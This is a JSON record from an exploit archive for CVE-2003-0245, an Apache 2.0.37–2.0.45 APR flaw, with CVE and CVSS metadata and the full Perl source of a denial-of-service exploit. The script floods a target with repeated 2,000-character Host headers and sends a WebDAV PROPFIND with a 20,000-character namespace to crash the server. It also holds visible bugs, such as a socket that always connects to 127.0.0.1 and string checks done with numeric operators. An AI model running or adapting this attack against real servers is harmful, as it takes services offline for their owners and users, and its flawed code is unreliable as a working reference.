{"exploit":{"id":"EDB-38","name":"Apache 2.0.45 - 'APR' Crash","description":"Apache 2.0.45 - 'APR' Crash","cves":["CVE-2003-0245"],"author":"Matthew Murphy","published":"2003-06-08","platform":"linux","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38","path":"exploits/linux/dos/38.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38.pl","vulnerabilities":[{"id":"CVE-2003-0245","state":"PUBLISHED","title":null,"titleSource":null,"description":"Vulnerability in the apr_psprintf function in the Apache Portable Runtime (APR) library for Apache 2.0.37 through 2.0.45 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via long strings, as demonstrated using XML objects to mod_dav, and possibly other vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0245","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0245"},"updatedAt":"2024-08-08T01:50:46.921Z","retrievedAt":"2026-11-26T12:10:37.204Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38.png?v=2","url":"https://exploitbin.com/exploits/EDB-38","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# Apache 2.0.37 - 2.0.45 APR Exploit\n# Written By Matthew Murphy\n#\n# This Perl script will successfully exploit any un-patched Apache 2.x\n# servers.\n#\n\n# Base64 Encoder\n#\n# If you want authentication with the server via HTTP's lame Basic\n# auth, put the proper string to encode BASE64 content, and use\n# '%s' to represent the credentials being encoded.  For instance:\n#\n# base64 %s\n#\n# would result in:\n#\n# base64 userid:password\n#\n# If your decoder requires you to use STDIN to pass the password\n# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not\n# use '%s' on the command-line.\n$BASE64_CMD_STRING = \"use_base64_encoder_here %s\";\n\n# Base64 encoder piping\n#\n# If your encoder requires the password to be written to STDIN,\n# set this to a nonzero value.  NOTE: This requires support for\n# bi-directional pipes on your OS version.\n$BASE64_USE_STDIN = 0;\n\n# Base64 encoder input handling\n#\n# If your encoder requires a newline after your credentials,\n# set this to your newline character.\n$BASE64_WRITE_NL = \"\";\n\nuse IO::Socket;\nprint STDOUT \"Apache 2.0 APR Exploit\\r\\n\";\nprint STDOUT \"By Matthew Murphy\\r\\n\\r\\n\";\nprint STDOUT \"Enter the hostname/IP address of the server: \";\n$line = <STDIN>;\n$host = mychomp($line);\nprint STDOUT \"Enter the port of the server \\[80\\]: \";\n$line = <STDIN>;\n$port = mychomp($line);\nprint STDOUT \"Use authentication credentials for the session \\[Y/N\\]? \";\n$line = <STDIN>;\n$char = mychomp($line);\nif ($char == \"Y\" || $char == \"y\") {\n\tprint STDOUT \"What username shall we use: \";\n\t$line = <STDIN>;\n\t$user = mychomp($line);\n\tprint STDOUT \"What password shall we use: \";\n\t$line = <STDIN>;\n\t$pass = mychomp($line);\n\t$auth = \"$user:$pass\";\n\tif ($BASE64_USE_STDIN) {\n\t\t# l33t Perl piping trix; NOTE: This is definitely\n\t\t# Alpha code! :-)\n\t\tpipe(STDOUTREAD, STDOUTWRITE);\n\t\tpipe(STDINREAD, STDINWRITE);\n\t\topen(OLDSTDIN, \"&STDIN\");\n\t\topen(OLDSTDOUT, \">&STDOUT\");\n\t\topen(STDIN, \"&STDINREAD\");\n\t\topen(STDOUT, \">&STDOUTWRITE\");\n\t\tclose(STDINREAD);\n\t\tclose(STDOUTWRITE);\n\t\tsystem($BASE64_CMD_STRING);\n\t\topen(STDIN, \"&OLDSTDIN\");\n\t\topen(STDOUT, \"&>OLDSTDOUT\");\n\t\tclose(OLDSTDIN);\n\t\tclose(OLDSTDOUT);\n\t\tprint STDINWRITE $auth;\n\t\tclose(STDINWRITE);\n\t\tread(STDOUTREAD, $base64, 4096); # Edit for insane passwords\n\t\tclose(STDOUTREAD);\n\t} else {\n\t\topen(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth).\"|\");\n\t\tread(READOUTPUT, $base64, 4096); # See above\n\t\tclose(READOUTPUT);\n\t}\n\t# Another hack for dealing with base64 encoders that output\n\t# multi-lined encoded text.  HTTP specifically calls for a\n\t# single line.  Note that this pattern also messes with spaces,\n\t# tabs, etc., but base64 doesn't use those either, so this\n\t# shouldn't matter.\n\t$base64 = join(\"\", split(/ /, $base64));\n} else {\n\t$base64 = undef;\n}\n$f = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"127.0.0.1\");\nprint STDOUT \"Exploiting a proxy server \\[Y/N\\]? \";\n$line = <STDIN>;\n$char = mychomp($line);\nif ($char == \"Y\" || $char == \"y\") {\n\tprint $f \"GET / HTTP/1.1\\x0d\\x0a\";\n\n\t# Apache 2.0 tries to limit header inputs, but uses a hash table\n\t# that ultimately concatenates multiple headers of the same name\n\t# together with \", \" between them, so:\n\t#\n\t# Host: a\n\t# Host: b\n\t#\n\t# Bypasses Apache's buffer size checks, but ends up as:\n\t#\n\t# Host: a,b\n\t#\n\t# When processed.  Confirm this with a TRACE against your server:\n\t#\n\t# TRACE / HTTP/1.1\n\t# Host: a\n\t# Host: b\n\t#\n\t# The \"message/http\" body you receive will contain:\n\t#\n\t# TRACE / HTTP/1.1\n\t# Host: a,b\n\t#\n\t# So, for those of you who are confused by this code fragment,\n\t# this is what it ultimately achieves!\n\tfor ($i = 0; $i < 10; $i++) {\n\t\tprint $f \"Host: \".(\"A\"x2000).\"\\r\\n\";\n\t}\n\tif (defined($base64)) {\n\t\tprint $f \"Proxy-Authorization: Basic \".$base64.\"\\r\\n\";\n\t}\n\tprint $f \"\\r\\n\";\n} else {\n\tprint STDOUT \"What resource should be probed: \";\n\t$line = <STDIN>;\n\t$res = mychomp($line);\n\tprint STDOUT \"Exploit a DAV repository for this attack? \\[Y/N\\] \";\n\t$line = <STDIN>;\n\t$char = mychomp($line);\n\tif ($char == \"Y\" || $char == \"y\") {\n\t\t# WARNING:\n\t\t# Another section of alpha code here; mod_dav tends to barf\n\t\t# if given the smallest inconsistency, and this is not\n\t\t# exactly well-researched.  If this doesn't work for you,\n\t\t# target your DAV repository as a typical resource: if\n\t\t# UseCanonicalName On hasn't been set explicitly, mod_dav\n\t\t# will choke on that as well.\n\t\t#\n\t\t# STunnel should not have issues with this, as you can't\n\t\t# use a \"Host\" header in an SSL connection anyway, so\n\t\t# that is no problem.\n\t\t#\n\t\t# Note that if the body is too long, IIS servers will also\n\t\t# die (assuming of course, that the latest IIS cumulative\n\t\t# patch has not been applied), as they have had problems\n\t\t# dealing with WebDAV in the very recent past.\n\n\t\t# XML Body of Request\n\t\t#\n\t\t# If everything works, mod_dav will attempt to format a\n\t\t# message with apr_psprintf() to indicate that our\n\t\t# namespace is invalid, leading to a crash.\n\t\t$xmlbody = \"<?xml version=\\\"1.0\\\"?>\\r\\n\";\n\t\t$xmlbody.= \"<D:propfind xmlns:D=\\\"\".(\"A\"x20000).\"\\:\\\">\\r\\n\";\n\t\t$xmlbody.= \"\\x20\\x20\\x20\\x20<D:allprop/>\\r\\n\";\n\t\t$xmlbody.= \"</D:propfind>\";\n\n\t\t# HTTP headers\n\t\tprint $f \"PROPFIND $res HTTP/1.1\\r\\n\";\n\t\tprint $f \"Host: $host:$port\\r\\n\";\n\t\tprint $f \"Depth: 1\\r\\n\";\n\t\tprint $f \"Content-Type: text/xml; charset=\\\"utf-8\\\"\\r\\n\";\n\t\tprint $f \"Content-Length: \".length($body).\"\\r\\n\\r\\n\";\n\t\tif (defined($base64)) {\n\t\t\tprint $f \"Authorization: Basic \".$base64.\"\\r\\n\";\n\t\t}\n\t\tprint $f \"$xmlbody\\r\\n\\r\\n\";\n\t} else {\n\t\t# This does *almost* the exact same thing as the mod_proxy\n\t\t# code, and could be considered wasteful, but a few extra\n\t\t# CPU cycles never killed anybody. :-(\n\t\tprint $f \"GET $res HTTP/1.1\\r\\n\";\n\t\tfor ($i = 0; $i < 10; $i++) {\n\t\t\tprint $f \"Host: \".(\"A\"x2000).\"\\r\\n\";\n\t\t}\n\t\tif (defined($base64)) {\n\t\t\tprint $f \"Authorization: Basic \".$base64.\"\\r\\n\";\n\t\t}\n\t\tprint $f \"\\r\\n\";\n\t}\n}\nwhile (defined($ln = <$f>)) {\n\tprint STDOUT $ln;\n}\nundef $f;\nexit;\n\n# FIXED: The perl chomp() function is broken on my distro,\n# so I hacked a fix to work around it.  This note applies\n# to ActivePerl 5.8.x -- I haven't tried others.  This is\n# another hackish fix, which seems to be the entire style\n# of this code.  I'll write better toys when I have time to\n# write better toys.\nsub mychomp {\n\tmy $data;\n\tmy $arg = shift;\n\tmy $CRLF;\n\tif ($^O == \"MSWin32\") {\n\t\t$CRLF = 1;\n\t} else {\n\t\t$CRLF = 0;\n\t}\n\t$data = substr($arg, 0, length($arg) - $CRLF);\n\treturn $data;\n}\n\n\n# milw0rm.com [2003-06-08]","sha256":"7a4e72417ffbd651ce425e35f3e419f10441aece4f04db9110863b41cfea667d","bytes":6422,"fetchedAt":"2026-11-26T12:10:32.327Z","encoding":"utf-8 (display only; download retains original bytes)"}